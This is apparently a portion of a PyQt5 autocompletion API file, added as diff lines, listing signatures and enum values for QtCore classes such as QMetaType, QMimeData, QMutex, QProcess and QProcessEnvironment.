+QtCore.QMetaEnum.key?4(int) -> str +QtCore.QMetaEnum.value?4(int) -> int +QtCore.QMetaEnum.scope?4() -> str +QtCore.QMetaEnum.keyToValue?4(str) -> (int, bool) +QtCore.QMetaEnum.valueToKey?4(int) -> str +QtCore.QMetaEnum.keysToValue?4(str) -> (int, bool) +QtCore.QMetaEnum.valueToKeys?4(int) -> QByteArray +QtCore.QMetaEnum.isValid?4() -> bool +QtCore.QMetaEnum.isScoped?4() -> bool +QtCore.QMetaEnum.enumName?4() -> str +QtCore.QMetaProperty?1() +QtCore.QMetaProperty.__init__?1(self) +QtCore.QMetaProperty?1(QMetaProperty) +QtCore.QMetaProperty.__init__?1(self, QMetaProperty) +QtCore.QMetaProperty.name?4() -> str +QtCore.QMetaProperty.typeName?4() -> str +QtCore.QMetaProperty.type?4() -> QVariant.Type +QtCore.QMetaProperty.isReadable?4() -> bool +QtCore.QMetaProperty.isWritable?4() -> bool +QtCore.QMetaProperty.isDesignable?4(QObject object=None) -> bool +QtCore.QMetaProperty.isScriptable?4(QObject object=None) -> bool +QtCore.QMetaProperty.isStored?4(QObject object=None) -> bool +QtCore.QMetaProperty.isFlagType?4() -> bool +QtCore.QMetaProperty.isEnumType?4() -> bool +QtCore.QMetaProperty.enumerator?4() -> QMetaEnum +QtCore.QMetaProperty.read?4(QObject) -> QVariant +QtCore.QMetaProperty.write?4(QObject, QVariant) -> bool +QtCore.QMetaProperty.reset?4(QObject) -> bool +QtCore.QMetaProperty.hasStdCppSet?4() -> bool +QtCore.QMetaProperty.isValid?4() -> bool +QtCore.QMetaProperty.isResettable?4() -> bool +QtCore.QMetaProperty.isUser?4(QObject object=None) -> bool +QtCore.QMetaProperty.userType?4() -> int +QtCore.QMetaProperty.hasNotifySignal?4() -> bool +QtCore.QMetaProperty.notifySignal?4() -> QMetaMethod +QtCore.QMetaProperty.notifySignalIndex?4() -> int +QtCore.QMetaProperty.propertyIndex?4() -> int +QtCore.QMetaProperty.isConstant?4() -> bool +QtCore.QMetaProperty.isFinal?4() -> bool +QtCore.QMetaProperty.relativePropertyIndex?4() -> int +QtCore.QMetaProperty.isRequired?4() -> bool +QtCore.QMetaClassInfo?1() +QtCore.QMetaClassInfo.__init__?1(self) +QtCore.QMetaClassInfo?1(QMetaClassInfo) +QtCore.QMetaClassInfo.__init__?1(self, QMetaClassInfo) +QtCore.QMetaClassInfo.name?4() -> str +QtCore.QMetaClassInfo.value?4() -> str +QtCore.QMetaType.TypeFlag?10 +QtCore.QMetaType.TypeFlag.NeedsConstruction?10 +QtCore.QMetaType.TypeFlag.NeedsDestruction?10 +QtCore.QMetaType.TypeFlag.MovableType?10 +QtCore.QMetaType.TypeFlag.PointerToQObject?10 +QtCore.QMetaType.TypeFlag.IsEnumeration?10 +QtCore.QMetaType.Type?10 +QtCore.QMetaType.Type.UnknownType?10 +QtCore.QMetaType.Type.Void?10 +QtCore.QMetaType.Type.Bool?10 +QtCore.QMetaType.Type.Int?10 +QtCore.QMetaType.Type.UInt?10 +QtCore.QMetaType.Type.LongLong?10 +QtCore.QMetaType.Type.ULongLong?10 +QtCore.QMetaType.Type.Double?10 +QtCore.QMetaType.Type.QChar?10 +QtCore.QMetaType.Type.QVariantMap?10 +QtCore.QMetaType.Type.QVariantList?10 +QtCore.QMetaType.Type.QVariantHash?10 +QtCore.QMetaType.Type.QString?10 +QtCore.QMetaType.Type.QStringList?10 +QtCore.QMetaType.Type.QByteArray?10 +QtCore.QMetaType.Type.QBitArray?10 +QtCore.QMetaType.Type.QDate?10 +QtCore.QMetaType.Type.QTime?10 +QtCore.QMetaType.Type.QDateTime?10 +QtCore.QMetaType.Type.QUrl?10 +QtCore.QMetaType.Type.QLocale?10 +QtCore.QMetaType.Type.QRect?10 +QtCore.QMetaType.Type.QRectF?10 +QtCore.QMetaType.Type.QSize?10 +QtCore.QMetaType.Type.QSizeF?10 +QtCore.QMetaType.Type.QLine?10 +QtCore.QMetaType.Type.QLineF?10 +QtCore.QMetaType.Type.QPoint?10 +QtCore.QMetaType.Type.QPointF?10 +QtCore.QMetaType.Type.QRegExp?10 +QtCore.QMetaType.Type.LastCoreType?10 +QtCore.QMetaType.Type.FirstGuiType?10 +QtCore.QMetaType.Type.QFont?10 +QtCore.QMetaType.Type.QPixmap?10 +QtCore.QMetaType.Type.QBrush?10 +QtCore.QMetaType.Type.QColor?10 +QtCore.QMetaType.Type.QPalette?10 +QtCore.QMetaType.Type.QIcon?10 +QtCore.QMetaType.Type.QImage?10 +QtCore.QMetaType.Type.QPolygon?10 +QtCore.QMetaType.Type.QRegion?10 +QtCore.QMetaType.Type.QBitmap?10 +QtCore.QMetaType.Type.QCursor?10 +QtCore.QMetaType.Type.QSizePolicy?10 +QtCore.QMetaType.Type.QKeySequence?10 +QtCore.QMetaType.Type.QPen?10 +QtCore.QMetaType.Type.QTextLength?10 +QtCore.QMetaType.Type.QTextFormat?10 +QtCore.QMetaType.Type.QMatrix?10 +QtCore.QMetaType.Type.QTransform?10 +QtCore.QMetaType.Type.VoidStar?10 +QtCore.QMetaType.Type.Long?10 +QtCore.QMetaType.Type.Short?10 +QtCore.QMetaType.Type.Char?10 +QtCore.QMetaType.Type.ULong?10 +QtCore.QMetaType.Type.UShort?10 +QtCore.QMetaType.Type.UChar?10 +QtCore.QMetaType.Type.Float?10 +QtCore.QMetaType.Type.QObjectStar?10 +QtCore.QMetaType.Type.QMatrix4x4?10 +QtCore.QMetaType.Type.QVector2D?10 +QtCore.QMetaType.Type.QVector3D?10 +QtCore.QMetaType.Type.QVector4D?10 +QtCore.QMetaType.Type.QQuaternion?10 +QtCore.QMetaType.Type.QEasingCurve?10 +QtCore.QMetaType.Type.QVariant?10 +QtCore.QMetaType.Type.QUuid?10 +QtCore.QMetaType.Type.QModelIndex?10 +QtCore.QMetaType.Type.QPolygonF?10 +QtCore.QMetaType.Type.SChar?10 +QtCore.QMetaType.Type.QRegularExpression?10 +QtCore.QMetaType.Type.QJsonValue?10 +QtCore.QMetaType.Type.QJsonObject?10 +QtCore.QMetaType.Type.QJsonArray?10 +QtCore.QMetaType.Type.QJsonDocument?10 +QtCore.QMetaType.Type.QByteArrayList?10 +QtCore.QMetaType.Type.QPersistentModelIndex?10 +QtCore.QMetaType.Type.QCborSimpleType?10 +QtCore.QMetaType.Type.QCborValue?10 +QtCore.QMetaType.Type.QCborArray?10 +QtCore.QMetaType.Type.QCborMap?10 +QtCore.QMetaType.Type.QColorSpace?10 +QtCore.QMetaType.Type.User?10 +QtCore.QMetaType?1(int type=QMetaType.Type.UnknownType) +QtCore.QMetaType.__init__?1(self, int type=QMetaType.Type.UnknownType) +QtCore.QMetaType.type?4(str) -> int +QtCore.QMetaType.typeName?4(int) -> str +QtCore.QMetaType.isRegistered?4(int) -> bool +QtCore.QMetaType.typeFlags?4(int) -> QMetaType.TypeFlags +QtCore.QMetaType.flags?4() -> QMetaType.TypeFlags +QtCore.QMetaType.isValid?4() -> bool +QtCore.QMetaType.isRegistered?4() -> bool +QtCore.QMetaType.metaObjectForType?4(int) -> QMetaObject +QtCore.QMetaType.id?4() -> int +QtCore.QMetaType.name?4() -> QByteArray +QtCore.QMetaType.TypeFlags?1() +QtCore.QMetaType.TypeFlags.__init__?1(self) +QtCore.QMetaType.TypeFlags?1(int) +QtCore.QMetaType.TypeFlags.__init__?1(self, int) +QtCore.QMetaType.TypeFlags?1(QMetaType.TypeFlags) +QtCore.QMetaType.TypeFlags.__init__?1(self, QMetaType.TypeFlags) +QtCore.QMimeData?1() +QtCore.QMimeData.__init__?1(self) +QtCore.QMimeData.urls?4() -> unknown-type +QtCore.QMimeData.setUrls?4(unknown-type) +QtCore.QMimeData.hasUrls?4() -> bool +QtCore.QMimeData.text?4() -> QString +QtCore.QMimeData.setText?4(QString) +QtCore.QMimeData.hasText?4() -> bool +QtCore.QMimeData.html?4() -> QString +QtCore.QMimeData.setHtml?4(QString) +QtCore.QMimeData.hasHtml?4() -> bool +QtCore.QMimeData.imageData?4() -> QVariant +QtCore.QMimeData.setImageData?4(QVariant) +QtCore.QMimeData.hasImage?4() -> bool +QtCore.QMimeData.colorData?4() -> QVariant +QtCore.QMimeData.setColorData?4(QVariant) +QtCore.QMimeData.hasColor?4() -> bool +QtCore.QMimeData.data?4(QString) -> QByteArray +QtCore.QMimeData.setData?4(QString, QByteArray) +QtCore.QMimeData.hasFormat?4(QString) -> bool +QtCore.QMimeData.formats?4() -> QStringList +QtCore.QMimeData.clear?4() +QtCore.QMimeData.removeFormat?4(QString) +QtCore.QMimeData.retrieveData?4(QString, QVariant.Type) -> QVariant +QtCore.QMimeDatabase.MatchMode?10 +QtCore.QMimeDatabase.MatchMode.MatchDefault?10 +QtCore.QMimeDatabase.MatchMode.MatchExtension?10 +QtCore.QMimeDatabase.MatchMode.MatchContent?10 +QtCore.QMimeDatabase?1() +QtCore.QMimeDatabase.__init__?1(self) +QtCore.QMimeDatabase.mimeTypeForName?4(QString) -> QMimeType +QtCore.QMimeDatabase.mimeTypeForFile?4(QString, QMimeDatabase.MatchMode mode=QMimeDatabase.MatchDefault) -> QMimeType +QtCore.QMimeDatabase.mimeTypeForFile?4(QFileInfo, QMimeDatabase.MatchMode mode=QMimeDatabase.MatchDefault) -> QMimeType +QtCore.QMimeDatabase.mimeTypesForFileName?4(QString) -> unknown-type +QtCore.QMimeDatabase.mimeTypeForData?4(QByteArray) -> QMimeType +QtCore.QMimeDatabase.mimeTypeForData?4(QIODevice) -> QMimeType +QtCore.QMimeDatabase.mimeTypeForUrl?4(QUrl) -> QMimeType +QtCore.QMimeDatabase.mimeTypeForFileNameAndData?4(QString, QIODevice) -> QMimeType +QtCore.QMimeDatabase.mimeTypeForFileNameAndData?4(QString, QByteArray) -> QMimeType +QtCore.QMimeDatabase.suffixForFileName?4(QString) -> QString +QtCore.QMimeDatabase.allMimeTypes?4() -> unknown-type +QtCore.QMimeType?1() +QtCore.QMimeType.__init__?1(self) +QtCore.QMimeType?1(QMimeType) +QtCore.QMimeType.__init__?1(self, QMimeType) +QtCore.QMimeType.swap?4(QMimeType) +QtCore.QMimeType.isValid?4() -> bool +QtCore.QMimeType.isDefault?4() -> bool +QtCore.QMimeType.name?4() -> QString +QtCore.QMimeType.comment?4() -> QString +QtCore.QMimeType.genericIconName?4() -> QString +QtCore.QMimeType.iconName?4() -> QString +QtCore.QMimeType.globPatterns?4() -> QStringList +QtCore.QMimeType.parentMimeTypes?4() -> QStringList +QtCore.QMimeType.allAncestors?4() -> QStringList +QtCore.QMimeType.aliases?4() -> QStringList +QtCore.QMimeType.suffixes?4() -> QStringList +QtCore.QMimeType.preferredSuffix?4() -> QString +QtCore.QMimeType.inherits?4(QString) -> bool +QtCore.QMimeType.filterString?4() -> QString +QtCore.QMutexLocker?1(QMutex) +QtCore.QMutexLocker.__init__?1(self, QMutex) +QtCore.QMutexLocker?1(QRecursiveMutex) +QtCore.QMutexLocker.__init__?1(self, QRecursiveMutex) +QtCore.QMutexLocker.unlock?4() +QtCore.QMutexLocker.relock?4() +QtCore.QMutexLocker.mutex?4() -> QMutex +QtCore.QMutexLocker.__enter__?4() -> object +QtCore.QMutexLocker.__exit__?4(object, object, object) +QtCore.QMutex.RecursionMode?10 +QtCore.QMutex.RecursionMode.NonRecursive?10 +QtCore.QMutex.RecursionMode.Recursive?10 +QtCore.QMutex?1(QMutex.RecursionMode mode=QMutex.NonRecursive) +QtCore.QMutex.__init__?1(self, QMutex.RecursionMode mode=QMutex.NonRecursive) +QtCore.QMutex.lock?4() +QtCore.QMutex.tryLock?4(int timeout=0) -> bool +QtCore.QMutex.unlock?4() +QtCore.QMutex.isRecursive?4() -> bool +QtCore.QRecursiveMutex?1() +QtCore.QRecursiveMutex.__init__?1(self) +QtCore.QSignalBlocker?1(QObject) +QtCore.QSignalBlocker.__init__?1(self, QObject) +QtCore.QSignalBlocker.reblock?4() +QtCore.QSignalBlocker.unblock?4() +QtCore.QSignalBlocker.__enter__?4() -> object +QtCore.QSignalBlocker.__exit__?4(object, object, object) +QtCore.QObjectCleanupHandler?1() +QtCore.QObjectCleanupHandler.__init__?1(self) +QtCore.QObjectCleanupHandler.add?4(QObject) -> QObject +QtCore.QObjectCleanupHandler.remove?4(QObject) +QtCore.QObjectCleanupHandler.isEmpty?4() -> bool +QtCore.QObjectCleanupHandler.clear?4() +QtCore.QMetaObject?1() +QtCore.QMetaObject.__init__?1(self) +QtCore.QMetaObject?1(QMetaObject) +QtCore.QMetaObject.__init__?1(self, QMetaObject) +QtCore.QMetaObject.className?4() -> str +QtCore.QMetaObject.superClass?4() -> QMetaObject +QtCore.QMetaObject.userProperty?4() -> QMetaProperty +QtCore.QMetaObject.methodOffset?4() -> int +QtCore.QMetaObject.enumeratorOffset?4() -> int +QtCore.QMetaObject.propertyOffset?4() -> int +QtCore.QMetaObject.classInfoOffset?4() -> int +QtCore.QMetaObject.methodCount?4() -> int +QtCore.QMetaObject.enumeratorCount?4() -> int +QtCore.QMetaObject.propertyCount?4() -> int +QtCore.QMetaObject.classInfoCount?4() -> int +QtCore.QMetaObject.indexOfMethod?4(str) -> int +QtCore.QMetaObject.indexOfSignal?4(str) -> int +QtCore.QMetaObject.indexOfSlot?4(str) -> int +QtCore.QMetaObject.indexOfEnumerator?4(str) -> int +QtCore.QMetaObject.indexOfProperty?4(str) -> int +QtCore.QMetaObject.indexOfClassInfo?4(str) -> int +QtCore.QMetaObject.method?4(int) -> QMetaMethod +QtCore.QMetaObject.enumerator?4(int) -> QMetaEnum +QtCore.QMetaObject.property?4(int) -> QMetaProperty +QtCore.QMetaObject.classInfo?4(int) -> QMetaClassInfo +QtCore.QMetaObject.checkConnectArgs?4(str, str) -> bool +QtCore.QMetaObject.connectSlotsByName?4(QObject) +QtCore.QMetaObject.normalizedSignature?4(str) -> QByteArray +QtCore.QMetaObject.normalizedType?4(str) -> QByteArray +QtCore.QMetaObject.invokeMethod?4(QObject, str, Qt.ConnectionType, QGenericReturnArgument, QGenericArgument value0=QGenericArgument(0,0), QGenericArgument value1=QGenericArgument(0,0), QGenericArgument value2=QGenericArgument(0,0), QGenericArgument value3=QGenericArgument(0,0), QGenericArgument value4=QGenericArgument(0,0), QGenericArgument value5=QGenericArgument(0,0), QGenericArgument value6=QGenericArgument(0,0), QGenericArgument value7=QGenericArgument(0,0), QGenericArgument value8=QGenericArgument(0,0), QGenericArgument value9=QGenericArgument(0,0)) -> object +QtCore.QMetaObject.invokeMethod?4(QObject, str, QGenericReturnArgument, QGenericArgument value0=QGenericArgument(0,0), QGenericArgument value1=QGenericArgument(0,0), QGenericArgument value2=QGenericArgument(0,0), QGenericArgument value3=QGenericArgument(0,0), QGenericArgument value4=QGenericArgument(0,0), QGenericArgument value5=QGenericArgument(0,0), QGenericArgument value6=QGenericArgument(0,0), QGenericArgument value7=QGenericArgument(0,0), QGenericArgument value8=QGenericArgument(0,0), QGenericArgument value9=QGenericArgument(0,0)) -> object +QtCore.QMetaObject.invokeMethod?4(QObject, str, Qt.ConnectionType, QGenericArgument value0=QGenericArgument(0,0), QGenericArgument value1=QGenericArgument(0,0), QGenericArgument value2=QGenericArgument(0,0), QGenericArgument value3=QGenericArgument(0,0), QGenericArgument value4=QGenericArgument(0,0), QGenericArgument value5=QGenericArgument(0,0), QGenericArgument value6=QGenericArgument(0,0), QGenericArgument value7=QGenericArgument(0,0), QGenericArgument value8=QGenericArgument(0,0), QGenericArgument value9=QGenericArgument(0,0)) -> object +QtCore.QMetaObject.invokeMethod?4(QObject, str, QGenericArgument value0=QGenericArgument(0,0), QGenericArgument value1=QGenericArgument(0,0), QGenericArgument value2=QGenericArgument(0,0), QGenericArgument value3=QGenericArgument(0,0), QGenericArgument value4=QGenericArgument(0,0), QGenericArgument value5=QGenericArgument(0,0), QGenericArgument value6=QGenericArgument(0,0), QGenericArgument value7=QGenericArgument(0,0), QGenericArgument value8=QGenericArgument(0,0), QGenericArgument value9=QGenericArgument(0,0)) -> object +QtCore.QMetaObject.constructorCount?4() -> int +QtCore.QMetaObject.indexOfConstructor?4(str) -> int +QtCore.QMetaObject.constructor?4(int) -> QMetaMethod +QtCore.QMetaObject.checkConnectArgs?4(QMetaMethod, QMetaMethod) -> bool +QtCore.QMetaObject.inherits?4(QMetaObject) -> bool +QtCore.QMetaObject.Connection?1() +QtCore.QMetaObject.Connection.__init__?1(self) +QtCore.QMetaObject.Connection?1(QMetaObject.Connection) +QtCore.QMetaObject.Connection.__init__?1(self, QMetaObject.Connection) +QtCore.QOperatingSystemVersion.OSType?10 +QtCore.QOperatingSystemVersion.OSType.Unknown?10 +QtCore.QOperatingSystemVersion.OSType.Windows?10 +QtCore.QOperatingSystemVersion.OSType.MacOS?10 +QtCore.QOperatingSystemVersion.OSType.IOS?10 +QtCore.QOperatingSystemVersion.OSType.TvOS?10 +QtCore.QOperatingSystemVersion.OSType.WatchOS?10 +QtCore.QOperatingSystemVersion.OSType.Android?10 +QtCore.QOperatingSystemVersion.AndroidJellyBean?7 +QtCore.QOperatingSystemVersion.AndroidJellyBean_MR1?7 +QtCore.QOperatingSystemVersion.AndroidJellyBean_MR2?7 +QtCore.QOperatingSystemVersion.AndroidKitKat?7 +QtCore.QOperatingSystemVersion.AndroidLollipop?7 +QtCore.QOperatingSystemVersion.AndroidLollipop_MR1?7 +QtCore.QOperatingSystemVersion.AndroidMarshmallow?7 +QtCore.QOperatingSystemVersion.AndroidNougat?7 +QtCore.QOperatingSystemVersion.AndroidNougat_MR1?7 +QtCore.QOperatingSystemVersion.AndroidOreo?7 +QtCore.QOperatingSystemVersion.MacOSCatalina?7 +QtCore.QOperatingSystemVersion.MacOSHighSierra?7 +QtCore.QOperatingSystemVersion.MacOSMojave?7 +QtCore.QOperatingSystemVersion.MacOSSierra?7 +QtCore.QOperatingSystemVersion.OSXElCapitan?7 +QtCore.QOperatingSystemVersion.OSXMavericks?7 +QtCore.QOperatingSystemVersion.OSXYosemite?7 +QtCore.QOperatingSystemVersion.Windows10?7 +QtCore.QOperatingSystemVersion.Windows7?7 +QtCore.QOperatingSystemVersion.Windows8?7 +QtCore.QOperatingSystemVersion.Windows8_1?7 +QtCore.QOperatingSystemVersion?1(QOperatingSystemVersion.OSType, int, int vminor=-1, int vmicro=-1) +QtCore.QOperatingSystemVersion.__init__?1(self, QOperatingSystemVersion.OSType, int, int vminor=-1, int vmicro=-1) +QtCore.QOperatingSystemVersion?1(QOperatingSystemVersion) +QtCore.QOperatingSystemVersion.__init__?1(self, QOperatingSystemVersion) +QtCore.QOperatingSystemVersion.current?4() -> QOperatingSystemVersion +QtCore.QOperatingSystemVersion.currentType?4() -> QOperatingSystemVersion.OSType +QtCore.QOperatingSystemVersion.majorVersion?4() -> int +QtCore.QOperatingSystemVersion.minorVersion?4() -> int +QtCore.QOperatingSystemVersion.microVersion?4() -> int +QtCore.QOperatingSystemVersion.segmentCount?4() -> int +QtCore.QOperatingSystemVersion.type?4() -> QOperatingSystemVersion.OSType +QtCore.QOperatingSystemVersion.name?4() -> QString +QtCore.QParallelAnimationGroup?1(QObject parent=None) +QtCore.QParallelAnimationGroup.__init__?1(self, QObject parent=None) +QtCore.QParallelAnimationGroup.duration?4() -> int +QtCore.QParallelAnimationGroup.event?4(QEvent) -> bool +QtCore.QParallelAnimationGroup.updateCurrentTime?4(int) +QtCore.QParallelAnimationGroup.updateState?4(QAbstractAnimation.State, QAbstractAnimation.State) +QtCore.QParallelAnimationGroup.updateDirection?4(QAbstractAnimation.Direction) +QtCore.QPauseAnimation?1(QObject parent=None) +QtCore.QPauseAnimation.__init__?1(self, QObject parent=None) +QtCore.QPauseAnimation?1(int, QObject parent=None) +QtCore.QPauseAnimation.__init__?1(self, int, QObject parent=None) +QtCore.QPauseAnimation.duration?4() -> int +QtCore.QPauseAnimation.setDuration?4(int) +QtCore.QPauseAnimation.event?4(QEvent) -> bool +QtCore.QPauseAnimation.updateCurrentTime?4(int) +QtCore.QVariantAnimation?1(QObject parent=None) +QtCore.QVariantAnimation.__init__?1(self, QObject parent=None) +QtCore.QVariantAnimation.startValue?4() -> QVariant +QtCore.QVariantAnimation.setStartValue?4(QVariant) +QtCore.QVariantAnimation.endValue?4() -> QVariant +QtCore.QVariantAnimation.setEndValue?4(QVariant) +QtCore.QVariantAnimation.keyValueAt?4(float) -> QVariant +QtCore.QVariantAnimation.setKeyValueAt?4(float, QVariant) +QtCore.QVariantAnimation.keyValues?4() -> unknown-type +QtCore.QVariantAnimation.setKeyValues?4(unknown-type) +QtCore.QVariantAnimation.currentValue?4() -> QVariant +QtCore.QVariantAnimation.duration?4() -> int +QtCore.QVariantAnimation.setDuration?4(int) +QtCore.QVariantAnimation.easingCurve?4() -> QEasingCurve +QtCore.QVariantAnimation.setEasingCurve?4(QEasingCurve) +QtCore.QVariantAnimation.valueChanged?4(QVariant) +QtCore.QVariantAnimation.event?4(QEvent) -> bool +QtCore.QVariantAnimation.updateCurrentTime?4(int) +QtCore.QVariantAnimation.updateState?4(QAbstractAnimation.State, QAbstractAnimation.State) +QtCore.QVariantAnimation.updateCurrentValue?4(QVariant) +QtCore.QVariantAnimation.interpolated?4(QVariant, QVariant, float) -> QVariant +QtCore.QPropertyAnimation?1(QObject parent=None) +QtCore.QPropertyAnimation.__init__?1(self, QObject parent=None) +QtCore.QPropertyAnimation?1(QObject, QByteArray, QObject parent=None) +QtCore.QPropertyAnimation.__init__?1(self, QObject, QByteArray, QObject parent=None) +QtCore.QPropertyAnimation.targetObject?4() -> QObject +QtCore.QPropertyAnimation.setTargetObject?4(QObject) +QtCore.QPropertyAnimation.propertyName?4() -> QByteArray +QtCore.QPropertyAnimation.setPropertyName?4(QByteArray) +QtCore.QPropertyAnimation.event?4(QEvent) -> bool +QtCore.QPropertyAnimation.updateCurrentValue?4(QVariant) +QtCore.QPropertyAnimation.updateState?4(QAbstractAnimation.State, QAbstractAnimation.State) +QtCore.QPluginLoader?1(QObject parent=None) +QtCore.QPluginLoader.__init__?1(self, QObject parent=None) +QtCore.QPluginLoader?1(QString, QObject parent=None) +QtCore.QPluginLoader.__init__?1(self, QString, QObject parent=None) +QtCore.QPluginLoader.instance?4() -> QObject +QtCore.QPluginLoader.staticInstances?4() -> unknown-type +QtCore.QPluginLoader.load?4() -> bool +QtCore.QPluginLoader.unload?4() -> bool +QtCore.QPluginLoader.isLoaded?4() -> bool +QtCore.QPluginLoader.setFileName?4(QString) +QtCore.QPluginLoader.fileName?4() -> QString +QtCore.QPluginLoader.errorString?4() -> QString +QtCore.QPluginLoader.setLoadHints?4(QLibrary.LoadHints) +QtCore.QPluginLoader.loadHints?4() -> QLibrary.LoadHints +QtCore.QPoint?1() +QtCore.QPoint.__init__?1(self) +QtCore.QPoint?1(int, int) +QtCore.QPoint.__init__?1(self, int, int) +QtCore.QPoint?1(QPoint) +QtCore.QPoint.__init__?1(self, QPoint) +QtCore.QPoint.manhattanLength?4() -> int +QtCore.QPoint.isNull?4() -> bool +QtCore.QPoint.x?4() -> int +QtCore.QPoint.y?4() -> int +QtCore.QPoint.setX?4(int) +QtCore.QPoint.setY?4(int) +QtCore.QPoint.dotProduct?4(QPoint, QPoint) -> int +QtCore.QPoint.transposed?4() -> QPoint +QtCore.QPointF?1() +QtCore.QPointF.__init__?1(self) +QtCore.QPointF?1(float, float) +QtCore.QPointF.__init__?1(self, float, float) +QtCore.QPointF?1(QPoint) +QtCore.QPointF.__init__?1(self, QPoint) +QtCore.QPointF?1(QPointF) +QtCore.QPointF.__init__?1(self, QPointF) +QtCore.QPointF.isNull?4() -> bool +QtCore.QPointF.x?4() -> float +QtCore.QPointF.y?4() -> float +QtCore.QPointF.setX?4(float) +QtCore.QPointF.setY?4(float) +QtCore.QPointF.toPoint?4() -> QPoint +QtCore.QPointF.manhattanLength?4() -> float +QtCore.QPointF.dotProduct?4(QPointF, QPointF) -> float +QtCore.QPointF.transposed?4() -> QPointF +QtCore.QProcess.InputChannelMode?10 +QtCore.QProcess.InputChannelMode.ManagedInputChannel?10 +QtCore.QProcess.InputChannelMode.ForwardedInputChannel?10 +QtCore.QProcess.ProcessChannelMode?10 +QtCore.QProcess.ProcessChannelMode.SeparateChannels?10 +QtCore.QProcess.ProcessChannelMode.MergedChannels?10 +QtCore.QProcess.ProcessChannelMode.ForwardedChannels?10 +QtCore.QProcess.ProcessChannelMode.ForwardedOutputChannel?10 +QtCore.QProcess.ProcessChannelMode.ForwardedErrorChannel?10 +QtCore.QProcess.ProcessChannel?10 +QtCore.QProcess.ProcessChannel.StandardOutput?10 +QtCore.QProcess.ProcessChannel.StandardError?10 +QtCore.QProcess.ProcessState?10 +QtCore.QProcess.ProcessState.NotRunning?10 +QtCore.QProcess.ProcessState.Starting?10 +QtCore.QProcess.ProcessState.Running?10 +QtCore.QProcess.ProcessError?10 +QtCore.QProcess.ProcessError.FailedToStart?10 +QtCore.QProcess.ProcessError.Crashed?10 +QtCore.QProcess.ProcessError.Timedout?10 +QtCore.QProcess.ProcessError.ReadError?10 +QtCore.QProcess.ProcessError.WriteError?10 +QtCore.QProcess.ProcessError.UnknownError?10 +QtCore.QProcess.ExitStatus?10 +QtCore.QProcess.ExitStatus.NormalExit?10 +QtCore.QProcess.ExitStatus.CrashExit?10 +QtCore.QProcess?1(QObject parent=None) +QtCore.QProcess.__init__?1(self, QObject parent=None) +QtCore.QProcess.start?4(QString, QStringList, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtCore.QProcess.start?4(QString, QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtCore.QProcess.start?4(QIODevice.OpenMode mode=QIODevice.ReadWrite) +QtCore.QProcess.readChannel?4() -> QProcess.ProcessChannel +QtCore.QProcess.setReadChannel?4(QProcess.ProcessChannel) +QtCore.QProcess.closeReadChannel?4(QProcess.ProcessChannel) +QtCore.QProcess.closeWriteChannel?4() +QtCore.QProcess.workingDirectory?4() -> QString +QtCore.QProcess.setWorkingDirectory?4(QString) +QtCore.QProcess.error?4() -> QProcess.ProcessError +QtCore.QProcess.state?4() -> QProcess.ProcessState +QtCore.QProcess.pid?4() -> sip.voidptr +QtCore.QProcess.waitForStarted?4(int msecs=30000) -> bool +QtCore.QProcess.waitForReadyRead?4(int msecs=30000) -> bool +QtCore.QProcess.waitForBytesWritten?4(int msecs=30000) -> bool +QtCore.QProcess.waitForFinished?4(int msecs=30000) -> bool +QtCore.QProcess.readAllStandardOutput?4() -> QByteArray +QtCore.QProcess.readAllStandardError?4() -> QByteArray +QtCore.QProcess.exitCode?4() -> int +QtCore.QProcess.exitStatus?4() -> QProcess.ExitStatus +QtCore.QProcess.bytesAvailable?4() -> int +QtCore.QProcess.bytesToWrite?4() -> int +QtCore.QProcess.isSequential?4() -> bool +QtCore.QProcess.canReadLine?4() -> bool +QtCore.QProcess.close?4() +QtCore.QProcess.atEnd?4() -> bool +QtCore.QProcess.execute?4(QString, QStringList) -> int +QtCore.QProcess.execute?4(QString) -> int +QtCore.QProcess.startDetached?4(QString, QStringList, QString) -> (bool, int) +QtCore.QProcess.startDetached?4(QString, QStringList) -> bool +QtCore.QProcess.startDetached?4(QString) -> bool +QtCore.QProcess.startDetached?4() -> (bool, int) +QtCore.QProcess.systemEnvironment?4() -> QStringList +QtCore.QProcess.processChannelMode?4() -> QProcess.ProcessChannelMode +QtCore.QProcess.setProcessChannelMode?4(QProcess.ProcessChannelMode) +QtCore.QProcess.setStandardInputFile?4(QString) +QtCore.QProcess.setStandardOutputFile?4(QString, QIODevice.OpenMode mode=QIODevice.Truncate) +QtCore.QProcess.setStandardErrorFile?4(QString, QIODevice.OpenMode mode=QIODevice.Truncate) +QtCore.QProcess.setStandardOutputProcess?4(QProcess) +QtCore.QProcess.terminate?4() +QtCore.QProcess.kill?4() +QtCore.QProcess.started?4() +QtCore.QProcess.finished?4(int, QProcess.ExitStatus) +QtCore.QProcess.error?4(QProcess.ProcessError) +QtCore.QProcess.stateChanged?4(QProcess.ProcessState) +QtCore.QProcess.readyReadStandardOutput?4() +QtCore.QProcess.readyReadStandardError?4() +QtCore.QProcess.errorOccurred?4(QProcess.ProcessError) +QtCore.QProcess.setProcessState?4(QProcess.ProcessState) +QtCore.QProcess.setupChildProcess?4() +QtCore.QProcess.readData?4(int) -> object +QtCore.QProcess.writeData?4(bytes) -> int +QtCore.QProcess.setProcessEnvironment?4(QProcessEnvironment) +QtCore.QProcess.processEnvironment?4() -> QProcessEnvironment +QtCore.QProcess.program?4() -> QString +QtCore.QProcess.setProgram?4(QString) +QtCore.QProcess.arguments?4() -> QStringList +QtCore.QProcess.setArguments?4(QStringList) +QtCore.QProcess.open?4(QIODevice.OpenMode mode=QIODevice.ReadWrite) -> bool +QtCore.QProcess.inputChannelMode?4() -> QProcess.InputChannelMode +QtCore.QProcess.setInputChannelMode?4(QProcess.InputChannelMode) +QtCore.QProcess.nullDevice?4() -> QString +QtCore.QProcess.processId?4() -> int +QtCore.QProcessEnvironment?1() +QtCore.QProcessEnvironment.__init__?1(self) +QtCore.QProcessEnvironment?1(QProcessEnvironment) +QtCore.QProcessEnvironment.__init__?1(self, QProcessEnvironment) +QtCore.QProcessEnvironment.isEmpty?4() -> bool +QtCore.QProcessEnvironment.clear?4() +QtCore.QProcessEnvironment.contains?4(QString) -> bool +QtCore.QProcessEnvironment.insert?4(QString, QString) +QtCore.QProcessEnvironment.insert?4(QProcessEnvironment) +QtCore.QProcessEnvironment.remove?4(QString) +QtCore.QProcessEnvironment.value?4(QString, QString defaultValue='') -> QString +QtCore.QProcessEnvironment.toStringList?4() -> QStringList +QtCore.QProcessEnvironment.systemEnvironment?4() -> QProcessEnvironment +QtCore.QProcessEnvironment.keys?4() -> QStringList 